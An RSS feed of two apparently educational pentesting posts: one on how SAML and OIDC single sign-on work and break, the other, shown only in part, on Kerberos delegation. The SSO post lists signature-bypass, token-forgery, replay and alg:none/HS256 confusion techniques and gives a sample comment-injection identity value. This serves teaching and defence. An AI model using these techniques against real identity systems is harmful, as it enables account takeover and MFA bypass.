<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ashraf Mohammed on Medium]]></title>
        <description><![CDATA[Stories by Ashraf Mohammed on Medium]]></description>
        <link>https://medium.com/@ashrafal3oni?source=rss-ef50fd1a477f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xMfnpvisGU__Of6ayg61QQ.jpeg</url>
            <title>Stories by Ashraf Mohammed on Medium</title>
            <link>https://medium.com/@ashrafal3oni?source=rss-ef50fd1a477f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 09:35:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ashrafal3oni/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How Single Sign-On Really Works: SAML and OIDC for Penetration Testers]]></title>
            <link>https://medium.com/@ashrafal3oni/how-single-sign-on-really-works-saml-and-oidc-for-penetration-testers-21cc42a93b50?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/21cc42a93b50</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oauth]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[single-sign-on]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 11:50:54 GMT</pubDate>
            <atom:updated>2026-11-17T11:50:54.088Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*TRabXAmukvDojt41wzI5eA.png" /></figure><p><em>A from-scratch, on-the-wire tour of the two protocols behind single sign-on — and the exact places they break.</em></p><p>Sign into Okta once and your company’s whole app drawer opens without another password. Click “Continue with Microsoft” on a vendor portal. Land on a Dell, Salesforce, or internal login page that quietly bounces you to your organization’s identity provider and back. That’s all <strong>Single Sign-On</strong> — and it’s far bigger than the consumer “Log in with Google” buttons. Most of it is <strong>corporate login portals</strong>: companies running their <em>own</em> identity provider so one login unlocks every internal and SaaS app. Two protocols do most of the heavy lifting: <strong>SAML</strong> and <strong>OIDC</strong>. If you test web apps, you will meet both, and the bugs are devastating when they land: log in as anyone, skip MFA entirely, replay a token that should have died minutes ago.</p><p>This post builds both protocols from zero — the concepts, the actual HTTP on the wire, what the user sees in their browser at each step, and the attack surface you’re hired to find. By the end, SAML and OIDC should feel like the same idea wearing two different outfits.</p><blockquote><strong><em>Who this is for:</em></strong><em> pentesters and security-minded developers who want to </em>understand<em> SSO, not just run a scanner against it. No prior SAML/OIDC knowledge assumed.</em></blockquote><h3>First: SSO is a concept, not a technology</h3><p>Fix this in your head before anything else. <strong>SSO is an outcome</strong> — log in once, reach many apps without logging in again — <em>like</em> “transportation.” Cars, trains, and planes are different ways to achieve transportation; SAML, OIDC, Kerberos, and CAS are different protocols that achieve SSO. You test each one differently even though they share the same goal.</p><p>Two words people blur:</p><ul><li><strong>Authentication</strong> = <em>who are you?</em> (proving identity). SSO is mainly about this.</li><li><strong>Authorization</strong> = <em>what are you allowed to do?</em> (permissions). A related but separate question — and the reason OAuth 2.0 exists.</li></ul><p>Every SSO protocol has the same three-party shape:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4MxfjPNQNzRb9Qa6rs3gA.png" /></figure><p><em>The universal SSO trust model: user, IdP, and app (SP).</em></p><ul><li><strong>IdP (Identity Provider)</strong> — the one place that holds passwords and does the verifying. Okta, Entra ID, Keycloak, Google.</li><li><strong>SP (Service Provider)</strong> — your app. It never sees the password; it outsources “who are you?” to the IdP and consumes a <strong>signed proof</strong>.</li><li><strong>The proof</strong> — a signed message that says “I checked this person, they are ahmed@acme.com.” It travels <strong>through the user’s browser</strong>, which means it passes through the attacker’s hands.</li></ul><p>That last point is the whole game. The only thing stopping someone from editing ahmed into admin is a signature. <strong>Every SSO attack is one question wearing different clothes:</strong></p><blockquote>Can I make the app act on identity data that the IdP’s signature did not actually protect?</blockquote><p>Keep that sentence. Now let’s make it concrete.</p><h3>Who actually plays the IdP?</h3><p>The IdP is the interesting party — it holds the keys and signs the proofs. In the real world it shows up in three forms, and knowing which one you’re facing shapes your whole test. Almost all of these speak <strong>both</strong> SAML and OIDC; the company picks the protocol per app.</p><p><strong>1. A rented cloud IdP (SaaS).</strong> The company buys identity from a vendor that runs the IdP; the company just points its apps at it. Examples: <strong>Okta</strong>, <strong>Microsoft Entra ID</strong> (Azure AD), <strong>Google Workspace</strong>, <strong>Ping Identity</strong>, <strong>OneLogin</strong>, <strong>Auth0</strong>, <strong>JumpCloud</strong>, <strong>AWS Cognito</strong>.</p><ul><li>Often <strong>SAML</strong>: Okta/Entra/Ping fronting Salesforce, Workday, ServiceNow.</li><li>Often <strong>OIDC</strong>: the same vendors behind modern web/mobile apps and “Continue with Microsoft.”</li></ul><p><strong>2. A self-hosted / open-source IdP.</strong> The company runs the IdP software on its own servers — so the keys, sessions, and patch level are <em>its</em> responsibility (and your target). Examples: <strong>Keycloak</strong> (both), <strong>ADFS</strong> (Microsoft on-prem, both), <strong>Shibboleth</strong> (SAML — the backbone of university logins, the InCommon federation), <strong>Apereo CAS</strong>, <strong>Gluu</strong>, <strong>Authentik</strong>, <strong>WSO2 Identity Server</strong>.</p><ul><li>In the wild: almost any .edu login that bounces you to an idp.university.edu page is Shibboleth SAML.</li></ul><p><strong>3. The company builds its <em>own</em> IdP.</strong> The biggest orgs don’t rent or install — they write their own identity service and <strong>mint and sign every token themselves.</strong> Your Dell URL is exactly this: www.dell.com/di/idp/… is Dell&#39;s in-house IdP issuing OIDC codes to boss.dell.com. Examples: <strong>Dell</strong> (di/idp), <strong>Salesforce</strong> (can be its own IdP <em>and</em> an SP), <strong>Apple</strong> (&quot;Sign in with Apple&quot; is Apple&#39;s own IdP), <strong>GitHub</strong>, plus most large banks and telecoms.</p><p><strong>Why case 3 matters most to you:</strong> a custom IdP <strong>doubles the attack surface.</strong> You no longer only test how each app <em>verifies</em> a proof — you also test how the IdP <em>creates and signs</em> it: private-key handling (leaked in git? weak file perms?), XML canonicalization or JWT alg handling, fresh random IDs and nonce/InResponseTo echoing, tight expiry, correct per-app audience, and MFA on the login itself. Every mistake the IdP ships is a bug for <em>every</em> app behind it. With a rented Okta, the signing side is Okta&#39;s problem; with a home-grown IdP, it&#39;s all in scope.</p><blockquote><strong><em>Read the login to tell which.</em></strong><em> The URL the app bounces you to gives it away. A </em><em>SAMLRequest= param (or a POST carrying </em><em>SAMLResponse) → </em><strong><em>SAML</em></strong><em>. An </em><em>/authorize?…response_type=code…scope=openid → </em><strong><em>OIDC</em></strong><em>. And the hostname tells you the model: a vendor domain (</em><em>*.okta.com, </em><em>login.microsoftonline.com) = rented; an on-prem name (</em><em>idp.university.edu, </em><em>adfs.corp.local) = self-hosted; the company&#39;s own domain serving the IdP (</em><em>dell.com/di/idp) = home-grown.</em></blockquote><h3>Part 1 — SAML: the signed-XML protocol</h3><p><strong>SAML in one line:</strong> SAML lets one system (the IdP) tell another system (your app) “I verified this user,” by sending a <strong>signed XML document called an assertion.</strong></p><p>The one word that carries all the security is <strong>signed</strong>. The IdP signs the XML with its private key. Your app holds the IdP’s public key and checks: <em>was this really signed by the IdP I trust, and has even one character changed since?</em> If the signature holds, the app believes the contents.</p><h3>The vocabulary you need</h3><pre>IdP            The identity provider. The ONLY party that can sign assertions.<br>SP             Your app (the Service Provider). Verifies and consumes the proof.<br>Assertion      The signed XML statement about the user. The heart of SAML.<br>AuthnRequest   The message your app sends TO the IdP (&quot;authenticate this user&quot;).<br>SAMLResponse   The envelope the IdP sends BACK, wrapping the assertion.<br>ACS URL        Assertion Consumer Service — the exact endpoint on your app that<br>               receives the SAMLResponse, e.g. finance.acme.com/saml/acs<br>Metadata       Config both sides exchange once at setup; carries the IdP&#39;s PUBLIC KEY.<br>RelayState     A &quot;bookmark&quot; of the page the user originally wanted.</pre><p>Inside an assertion, the fields you’ll attack:</p><ul><li><strong>NameID</strong> — who the user is (ahmed@acme.com). The identity.</li><li><strong>Audience</strong> — <em>which app</em> this assertion is for (“this is for finance, nobody else”).</li><li><strong>NotBefore / NotOnOrAfter</strong> — the valid time window.</li><li><strong>InResponseTo</strong> — the ID of the request it answers (proves it’s a reply to a request your app actually made).</li></ul><h3>The flow, on the wire</h3><p>The key fact: in SAML, <strong>everything passes through the browser</strong>, so you can read and modify every message. Step 7 is where the app’s defenses live.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Sp-rfUe8tdOKxrqReIm0Q.png" /></figure><p><em>SP-initiated SAML: the signed proof rides through the browser.</em></p><p>Walking it with a real user — Ahmed wants finance.acme.com, IdP is Okta:</p><p><strong>Hop 1 — no session, the app kicks off SAML</strong></p><pre>GET /dashboard HTTP/1.1<br>Host: finance.acme.com<br>Cookie:</pre><p>No session cookie → the SAML middleware builds an AuthnRequest (with a unique random ID) and 302-redirects the browser to Okta.</p><p><strong>Hop 2–4 — the browser carries the request to Okta, Okta authenticates</strong> Okta shows its login page, Ahmed enters his password and approves an MFA push. Okta sets <em>its own</em> session cookie (sid) — this is the cookie that makes it <em>single</em> sign-on; the next app won&#39;t prompt for a password.</p><p><strong>Hop 5 — Okta returns the signed response as an auto-submit form</strong> Okta does <em>not</em> redirect with the response in the URL (too big). It returns an HTML page that POSTs itself:</p><pre>&lt;form method=&quot;POST&quot; action=&quot;https://finance.acme.com/saml/acs&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;SAMLResponse&quot; value=&quot;PHNhbWxwOlJlc3BvbnNl...base64...&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;RelayState&quot; value=&quot;/dashboard&quot;/&gt;<br>&lt;/form&gt;<br>&lt;script&gt;document.forms[0].submit();&lt;/script&gt;</pre><p>Base64-decode that SAMLResponse and you get the <strong>real prize</strong> — the signed assertion. Every line is a check the app must perform:</p><pre>&lt;saml:Assertion ID=&quot;_as7d9...&quot; IssueInstant=&quot;2026-11-09T13:02:10Z&quot;&gt;<br>  &lt;ds:Signature&gt;...the signature over this assertion...&lt;/ds:Signature&gt;<br>  &lt;saml:Subject&gt;<br>    &lt;saml:NameID&gt;ahmed@acme.com&lt;/saml:NameID&gt;<br>    &lt;saml:SubjectConfirmationData NotOnOrAfter=&quot;2026-11-09T13:07:10Z&quot;<br>        Recipient=&quot;https://finance.acme.com/saml/acs&quot;<br>        InResponseTo=&quot;_8a7f2c9d1e4b6a0f&quot;/&gt;<br>  &lt;/saml:Subject&gt;<br>  &lt;saml:Conditions NotBefore=&quot;...&quot; NotOnOrAfter=&quot;...&quot;&gt;<br>    &lt;saml:AudienceRestriction&gt;<br>      &lt;saml:Audience&gt;https://finance.acme.com/saml/metadata&lt;/saml:Audience&gt;<br>    &lt;/saml:AudienceRestriction&gt;<br>  &lt;/saml:Conditions&gt;<br>  &lt;saml:AttributeStatement&gt;<br>    &lt;saml:Attribute Name=&quot;roles&quot;&gt;&lt;saml:AttributeValue&gt;finance-admin&lt;/saml:AttributeValue&gt;&lt;/saml:Attribute&gt;<br>  &lt;/saml:AttributeStatement&gt;<br>&lt;/saml:Assertion&gt;</pre><p>&lt;ds:Signature&gt; is the only thing protecting everything else. NameID = who you become. Audience + Recipient = which app it&#39;s for. InResponseTo = must equal the request ID from Hop 1. roles = finance-admin is your privilege-escalation target.</p><p><strong>Hop 6 — the browser POSTs the signed response to the ACS URL</strong></p><pre>POST /saml/acs HTTP/1.1<br>Host: finance.acme.com<br>Content-Type: application/x-www-form-urlencoded</pre><pre>SAMLResponse=PHNhbWxwOlJlc3BvbnNl...&amp;RelayState=/dashboard</pre><p><strong>This is the request you capture and tamper with.</strong> Everything before it just set the stage; this is where your payload enters the app.</p><p><strong>Hop 7 — the app verifies before trusting</strong> The SAML library walks the assertion and checks each field: signature against the IdP’s cert, InResponseTo equals the ID it sent, Audience/Recipient equal <em>finance&#39;s</em> own URL, the time window, the Destination, and that the assertion ID hasn&#39;t been seen before. Any one of these skipped and still accepted = a vulnerability.</p><p><strong>Hop 8 — the app issues its own session</strong></p><pre>HTTP/1.1 302 Found<br>Location: https://finance.acme.com/dashboard<br>Set-Cookie: laravel_session=...; HttpOnly; Secure; SameSite=Lax</pre><p>From here, the app trusts laravel_session directly and never looks at SAML again.</p><h3>The SAML attack surface</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wNH1J8HBKAKvjhU0g8LnsA.png" /></figure><p><em>The whole SAML attack surface in one view.</em></p><p>Don’t memorize ten attacks. They’re all the same question — <em>can I make the app act on identity the signature didn’t protect?</em> — achieved five ways:</p><pre>1  Signature not verified     Change NameID in a valid Response, resend. App logs<br>                              you in as anyone. The classic, most devastating bug.<br>2  XML Signature Wrapping     Signature is valid, but you add a second assertion<br>   (XSW)                       where the VERIFY step reads the signed one and the<br>                              IDENTITY-READ step reads yours.<br>3  Audience not checked        POST an assertion minted for web1 to web4&#39;s ACS. If<br>                              web4 only checks the signature, not &quot;is this for me?&quot;,<br>                              it accepts another app&#39;s token.<br>4  Replay / no InResponseTo    Resend the same captured Response twice, or one the<br>                              app never requested.<br>5  Expiry ignored              Wait past NotOnOrAfter, resend. Still works? A proof<br>                              that never dies.<br>6  Comment / canonicalization  admin@company.com&lt;!----&gt;.evil.com — verifier and<br>                              reader disagree on where the value ends.<br>7  Account-matching flaws      App maps the assertion to a local account by an email<br>                              attribute you can influence.<br>8  Alternate login paths       SAML bolted onto an app that still has its own<br>                              password login / API / mobile endpoint — total bypass.<br>9  RelayState abuse            Set RelayState to an external URL → open redirect.<br>10 Broken Single Logout (SLO)  Log out of one app; the others stay alive.</pre><p>The five moves: <strong>remove</strong> the signature (#1), <strong>wrap</strong> around it (#2, #6), <strong>reuse</strong> a valid one where it doesn’t belong (#3, #4), <strong>use</strong> it after it should have died (#5), or <strong>skip</strong> the signed path entirely (#8, #10).</p><h3>Part 2 — OIDC: the same idea, in JWT</h3><p>Here’s the good news: <strong>OIDC is SAML wearing different clothes.</strong> Same core idea — an IdP verifies the user and hands your app a <em>signed proof</em> that travels through the browser. If you understood SAML, you’re 80% done. There are exactly three differences.</p><h3>Difference 1 — the proof is a JWT, not signed XML</h3><p>A <strong>JWT</strong> (JSON Web Token) is a compact string of three base64url parts separated by dots:</p><pre>eyJhbGci...   .   eyJzdWIiOiJh...   .   Rk9f2aBc...<br>   header            payload           signature</pre><ul><li><strong>header</strong> — which algorithm signed it (e.g. RS256)</li><li><strong>payload</strong> — the claims: sub (who), aud (which app), exp (expiry), iss (issuer), nonce</li><li><strong>signature</strong> — the IdP signs header+payload with its private key; your app verifies with the IdP’s public key (fetched from the IdP’s <strong>JWKS</strong> endpoint)</li></ul><p>Same signature check as SAML, just JSON instead of XML. “Change ahmed to admin and the signature breaks&quot; is still the whole game.</p><h3>Difference 2 — only a short code rides the browser, not the token</h3><p>This is the one real architectural change — and it’s <em>safer</em> than SAML. In SAML the full signed assertion flew through the browser (the POST to the ACS URL). OIDC’s <strong>Authorization Code flow</strong> avoids that:</p><ul><li>The browser only carries a short, one-time <strong>authorization code</strong> — a random string, useless by itself.</li><li>Your app’s <strong>backend</strong> then trades that code for the real tokens over a <strong>direct server-to-server call</strong> (the “back channel”), which never touches the browser.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxHVZxRJb0BDufAj21KT5w.png" /></figure><p><em>The browser carries only a code; tokens come back-channel.</em></p><h3>Difference 3 — three tokens, because OIDC sits on top of OAuth</h3><p>This is why it’s written “OIDC / OAuth 2.0.” OAuth 2.0 was built only for <strong>authorization</strong> (“let this app read my contacts”) — it hands out an <strong>access token</strong> but says nothing about <em>who</em> you are. OIDC is a thin layer on top that adds an <strong>ID token</strong> to answer “who are you?”.</p><pre>ID token       Who you are (authentication). A JWT. ← the SAML assertion&#39;s twin.<br>Access token   What you may reach (authorization, the OAuth part). Used to call APIs.<br>Refresh token  Get new tokens without logging in again.</pre><p>For pure login, the <strong>ID token is the one that matters.</strong></p><h3>What the user actually sees — two providers side by side</h3><p>Same user (Ahmed → finance dashboard). SAML with <strong>Okta</strong>, OIDC with <strong>Microsoft Entra ID</strong>. Steps 1, 2, and 6 look identical to Ahmed; <strong>step 3 is the giveaway.</strong></p><p><strong>SAML (Okta) — step 3:</strong> Okta flashes a blank auto-submit page while the <em>whole signed assertion</em> POSTs to /saml/acs:</p><pre>┌─ 🔒 acme.okta.com  (response page) ───────────────────┐<br>│   Please wait…    (blank flash)                       │<br>│   [hidden form auto-submits →                         │<br>│      action = finance.acme.com/saml/acs               │<br>│      SAMLResponse = PHNhbWxwOlc3BvbnNl…  ← signed XML]│<br>└───────────────────────────────────────────────────────┘</pre><p><strong>OIDC (Entra ID) — step 2b + step 3:</strong> first a consent screen SAML never had, then only a short code in the address bar:</p><pre>┌─ 🔒 login.microsoftonline.com/&lt;tenant&gt;/oauth2/v2.0/authorize ─┐<br>│   finance.acme.com would like to:                             │<br>│      ✓ Sign you in and read your profile                      │<br>│            [ Cancel ]        [ Accept ]                       │<br>└───────────────────────────────────────────────────────────────┘</pre><pre>┌─ 🔒 finance.acme.com/callback?code=0.AX8Aabc123…&amp;state=xyz ──┐<br>│   &quot;Signing you in…&quot;   (brief spinner)                        │<br>└──────────────────────────────────────────────────────────────┘</pre><p>Then the token swap happens <strong>off-screen</strong>, server-to-server:</p><pre>⚙  no browser page here  ⚙<br> app backend ──POST code + client_secret──▶ login.microsoftonline.com/.../token<br> app backend ◀────────── ID token (JWT) ───  Entra</pre><blockquote><em>Any OIDC-compliant provider behaves the same way — Okta, Entra ID, Auth0, Keycloak, AWS Cognito, Ping. Swap the issuer URL, </em><em>client_id, and </em><em>client_secret; the app auto-discovers the endpoints from </em><em>GET /.well-known/openid-configuration. Practice against a local </em><strong><em>Keycloak</em></strong><em> and it transfers straight to a target on Entra ID.</em></blockquote><h3>Spotting it in the wild — this is how corporate login works</h3><p>None of this is limited to social buttons. Big companies run their <em>own</em> IdP and the exact same protocol. Here’s a real authorization request from a <strong>Dell</strong> login flow (trimmed) — every parameter should now look familiar:</p><pre>GET https://www.dell.com/.../oidc/authorize<br>      ?client_id=d2fe73f7-9346-4ab2-b731-9adf69dcf878<br>      &amp;redirect_uri=https://boss.dell.com/callback<br>      &amp;response_type=code            ← Authorization Code flow<br>      &amp;scope=openid profile          ← &quot;openid&quot; = this IS OIDC, not plain OAuth<br>      &amp;code_challenge=f-qUZvnEQFeH6h29AH5qu4uNjaJGufqyxnC6EqG1RZY<br>      &amp;code_challenge_method=S256    ← PKCE: protects the code in transit<br>      &amp;nonce=e1a69100-354a-4a60-9489-65f55d6e7e49   ← ID-token replay protection<br>      &amp;state=CfDJ8D4nzZirBMpP...                     ← CSRF protection for the callback</pre><p>Read it like a sentence: <em>“Client </em><em>d2fe… wants an authorization </em><strong><em>code</em></strong><em>; send the user back to </em><em>boss.dell.com/callback; I want </em><strong><em>openid</em></strong><em> (identity); here&#39;s my </em><strong><em>PKCE</em></strong><em> challenge, plus a </em><strong><em>nonce</em></strong><em> and </em><strong><em>state</em></strong><em> to stop replay and CSRF.&quot;</em> That is the Authorization Code + PKCE flow, exactly as above — on a Fortune-500 corporate login, no Google button in sight. When you&#39;re testing, the login page in front of you is almost always one of these two protocols; your first job is just to read the URL and tell which.</p><h3>The SAML → OIDC cheat sheet</h3><pre>SAML (you know this)              OIDC equivalent<br>────────────────────────────────  ─────────────────────────────────<br>IdP                               IdP / Authorization Server (OP)<br>SP (your app)                     Client (Relying Party)<br>Signed XML assertion              Signed ID token (JWT)<br>ACS URL                           redirect_uri<br>Cert from metadata                Public key from JWKS endpoint<br>Audience                          aud claim<br>NotOnOrAfter                      exp claim<br>InResponseTo                      state + nonce<br>Signed proof rides the browser    Only a CODE rides the browser;<br>                                  tokens come back-channel</pre><h3>The OIDC attack surface</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWFQoM3fymVsdSyb6-ClxQ.png" /></figure><p><em>The whole OIDC attack surface in one view.</em></p><p>The five SAML moves map straight across, and JWTs add two of their own:</p><pre>Carried over from SAML<br>  Forge / signature not verified   App accepts an ID token it never properly checks.<br>  Wrong audience (aud)             A token minted for app A accepted by app B.<br>  Replay / missing nonce           Reuse a code or token; no one-time check.<br>  Expiry ignored (exp)             Token outlives its lifetime.<br>  Skip the signed path             Legacy password login / API next to OIDC.</pre><pre>New, because it&#39;s a JWT<br>  alg:none                         Strip the signature; set header {&quot;alg&quot;:&quot;none&quot;}.<br>                                   A library that honors it accepts an unsigned token.<br>  RS256 → HS256 confusion          Flip the algorithm from RSA to HMAC and sign with<br>                                   the PUBLIC key as the HMAC secret. If the library<br>                                   verifies with the same key either way, you forge<br>                                   any identity.</pre><p>Plus flow-specific ones you don’t have in SAML:</p><ul><li><strong>Authorization code interception</strong> — steal the code from step 3 and redeem it yourself (defended by <strong>PKCE</strong>; check it&#39;s enforced).</li><li><strong>redirect_uri manipulation</strong> — if the IdP allows a loose redirect, the code is delivered to your endpoint.</li><li><strong>state missing</strong> — no CSRF protection on the callback.</li></ul><h3>The one mindset that ties it all together</h3><p>Whether the proof is signed XML or a signed JWT, whether it rides the browser whole or as a short code, every attack is the same question:</p><blockquote><strong><em>Can I make the app act on identity data that the IdP’s signature did not actually protect?</em></strong></blockquote><p>You achieve it by <strong>removing</strong> the signature, <strong>wrapping</strong> around it, <strong>reusing</strong> a valid proof where it doesn’t belong, <strong>using</strong> one after it should have died, or <strong>skipping</strong> the signed path entirely. Once you see that, SSO testing stops being a checklist to memorize and becomes one idea you apply everywhere.</p><h3>Where to practice</h3><p>Stand up the IdPs yourself and walk these attacks end to end — it’s the fastest way to make it click:</p><ul><li><strong>Keycloak</strong> (Docker) for both SAML and OIDC — the same box speaks both protocols.</li><li>A tiny app (Laravel, Flask, Express) as the SP, with a proxy in the middle so you can read and tamper with every message.</li><li>Decode every SAMLResponse and every JWT by hand before you automate anything. The understanding is the tool; the scanner is just the screwdriver.</li></ul><p><em>If this was useful, the next pieces in the series cover Kerberos (tickets inside Active Directory) and CAS (the simplest of the four). Same mindset, different envelope.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21cc42a93b50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Delegation:The Complete Guide to Impersonation, Unconstrained, Constrained, and RBCD]]></title>
            <link>https://medium.com/@ashrafal3oni/kerberos-delegation-the-complete-guide-to-impersonation-unconstrained-constrained-and-rbcd-7b16c8b242a9?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b16c8b242a9</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 08:11:26 GMT</pubDate>
            <atom:updated>2026-07-30T08:11:26.103Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*uKO39j80mkZXXHFD.png" /></figure><h3>Understanding how services act on behalf of users — theory, configuration, real-world scenarios, and how attackers abuse each type</h3><p><em>Your hotel receptionist just used your room key to break into every room in the building. That’s Kerberos Unconstrained Delegation gone wrong.</em></p><h3>Introduction</h3><p>In Active Directory environments, Kerberos delegation is the mechanism that allows a service to access other services on behalf of a user. It exists to solve a fundamental problem: when a [web application] needs to fetch your data from a [backend database], it needs to authenticate to that database AS YOU — not as a generic service account.</p><p>Microsoft released three implementations of delegation over 12 years, each fixing problems from the previous one — and each introducing new attack surfaces. This guide covers all three from absolute zero: the theory, the exact AD configuration, real-world scenarios, and how attackers exploit each one.</p><h3>Part 1: Before Delegation — Impersonation vs Delegation</h3><p>Before understanding delegation, you need to understand what it’s NOT. Both impersonation and delegation mean “act as another user,” but they work at completely different scopes.</p><h3>Impersonation: Acting as Someone LOCALLY</h3><p>Impersonation happens within a single service on a single machine. The service temporarily adopts the user’s security context (access token) to perform local operations.</p><pre>How it works:<br>  ① User connects to the service (e.g., IIS web app)<br>  ② Service calls ImpersonateLoggedOnUser() → gets the user&#39;s access token<br>  ③ Service thread now runs with the user&#39;s token (temporarily!)<br>  ④ Service accesses local resources → Windows checks the USER&#39;s permissions<br>  ⑤ Service calls RevertToSelf() → switches back to its own token</pre><pre>Key characteristics:<br>  → Everything happens on ONE machine (no network!)<br>  → Uses Windows access TOKENS (not Kerberos tickets!)<br>  → The token CANNOT leave the machine — it&#39;s local only!<br>  → Kerberos is NOT involved!</pre><p><strong>Real-world scenario: University Library System</strong></p><p>A university library application runs on a single server. When a student logs in, the application impersonates them to check if they can access restricted thesis documents stored in a local folder.</p><pre>Student Sarah → logs into the library app<br>  → App impersonates Sarah → reads C:\ThesisArchive\classified.pdf<br>  → Windows checks Sarah&#39;s token → she&#39;s in &quot;Graduate Students&quot; → access! ✅</pre><pre>Undergraduate Tom → logs in next<br>  → App impersonates Tom → same file<br>  → Tom is NOT in &quot;Graduate Students&quot; → denied! ❌</pre><pre>Everything happened on ONE machine. No network. No Kerberos.<br>The app used local tokens to act as each student.</pre><h3>Delegation: Acting as Someone REMOTELY</h3><p>Delegation happens when a service needs to access ANOTHER service on a different machine, using the user’s identity. The user’s local token can’t cross the network — Kerberos tickets are needed.</p><pre>How it works:<br>  ① User authenticates to the frontend service (e.g., web app)<br>  ② Frontend needs to access a backend service (e.g., SQL on another server)<br>  ③ Frontend can&#39;t use the user&#39;s local token → it only works locally!<br>  ④ Frontend needs a Kerberos TGS for the backend service AS the user<br>  ⑤ Delegation provides the mechanism to get that TGS<br>  ⑥ Frontend → backend: presents TGS → backend sees the user → per-user access!</pre><pre>Key characteristics:<br>  → CROSSES the network to another machine!<br>  → Uses Kerberos tickets (TGT and TGS)!<br>  → Requires specific AD configuration!<br>  → Three types: Unconstrained, Constrained, RBCD</pre><h3>The Double-Hop Problem (Why Delegation Exists)</h3><pre>Hop 1: User → Frontend (IMPERSONATION — local, works!)<br>  → User authenticates → service gets their token → reads local files ✅<br>  → Impersonation handles this perfectly!</pre><pre>Hop 2: Frontend → Backend (DELEGATION — remote, needs Kerberos!)<br>  → Service wants to access database AS the user → local token doesn&#39;t work ❌<br>  → Need a Kerberos TGS for the backend service as the user<br>  → Without delegation → service uses a generic account → everyone sees same data!<br>  → With delegation → service accesses database AS the user → per-user data! ✅</pre><pre>  Impersonation = Hop 1 (local) → works<br>  Delegation = Hop 2 (remote) → needs Kerberos delegation mechanism!</pre><h3>Comparison Table</h3><pre>                    IMPERSONATION              DELEGATION<br>  Where:            Same machine (local)       Across machines (network)<br>  Mechanism:        Windows access tokens      Kerberos TGT/TGS<br>  Scope:            Inside one process         Across multiple servers<br>  Network:          Not involved               Required (SMB/Kerberos)<br>  AD config needed: No                         Yes (specific flags/attributes!)<br>  Example:          SQL EXECUTE AS LOGIN=&#39;sa&#39;  IIS → SQL Server as Alice</pre><h3>Part 2: Unconstrained Delegation (Windows 2000)</h3><h3>Definition</h3><p>“Unconstrained” = no limits, no restrictions. The service can delegate to ANY other service — no constraints on the target.</p><h3>Theory: How It Works</h3><p>When a user authenticates to a service with unconstrained delegation, the user’s TGT (Ticket-Granting Ticket — the master key) is embedded inside the service ticket and forwarded to the service. The service extracts the TGT, caches it in LSASS memory, and can use it to request TGS (service tickets) for ANY service as that user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgX5C6WgoeaI2VCWkRgmLQ.png" /></figure><pre>The Kerberos flow (step by step):</pre><pre>  ① User → KDC: &quot;I want a ticket for the web app&quot; (TGS-REQ)<br>     → User sends their TGT to the KDC<br>     → Requests a TGS for the web app&#39;s SPN (e.g., HTTP/portal01)</pre><pre>  ② KDC processes the request:<br>     → KDC looks up the web app&#39;s computer object in AD<br>     → Finds: userAccountControl has TRUSTED_FOR_DELEGATION flag!<br>     → KDC says: &quot;This service has unconstrained delegation&quot;<br>     → KDC creates a SPECIAL TGS that contains:<br>       a) Normal TGS data (user is authorized to access web app)<br>       b) The user&#39;s FORWARDABLE TGT embedded inside! (master key!)<br>       c) A session key for the forwardable TGT<br>     → Returns this special TGS to the user</pre><pre>  ③ User → Web App: sends the TGS (with TGT embedded inside!)<br>     → The user doesn&#39;t know their TGT is inside — KDC added it automatically!<br>     → The user just thinks they&#39;re accessing a normal web app</pre><pre>  ④ Web App receives the TGS:<br>     → Validates the TGS → user is authorized ✅<br>     → EXTRACTS the user&#39;s forwardable TGT from inside the TGS!<br>     → CACHES the TGT in LSASS memory on the web app server!<br>     → The TGT stays in memory until it expires or server reboots!</pre><pre>  ⑤ Web App → KDC: &quot;I&#39;m the user (here&#39;s their TGT), give me a SQL ticket&quot;<br>     → Web app presents the user&#39;s TGT to the KDC<br>     → Requests a TGS for SQL Server AS the user<br>     → KDC: &quot;Valid TGT for this user → issue the TGS&quot;</pre><pre>  ⑥ KDC → Web App: returns TGS for SQL as the user<br>     → TGS says: &quot;This user can access SQL Server on sql01&quot;</pre><pre>  ⑦ Web App → SQL: presents the TGS → &quot;I&#39;m the user&quot;<br>     → SQL validates → sees the user → returns their data 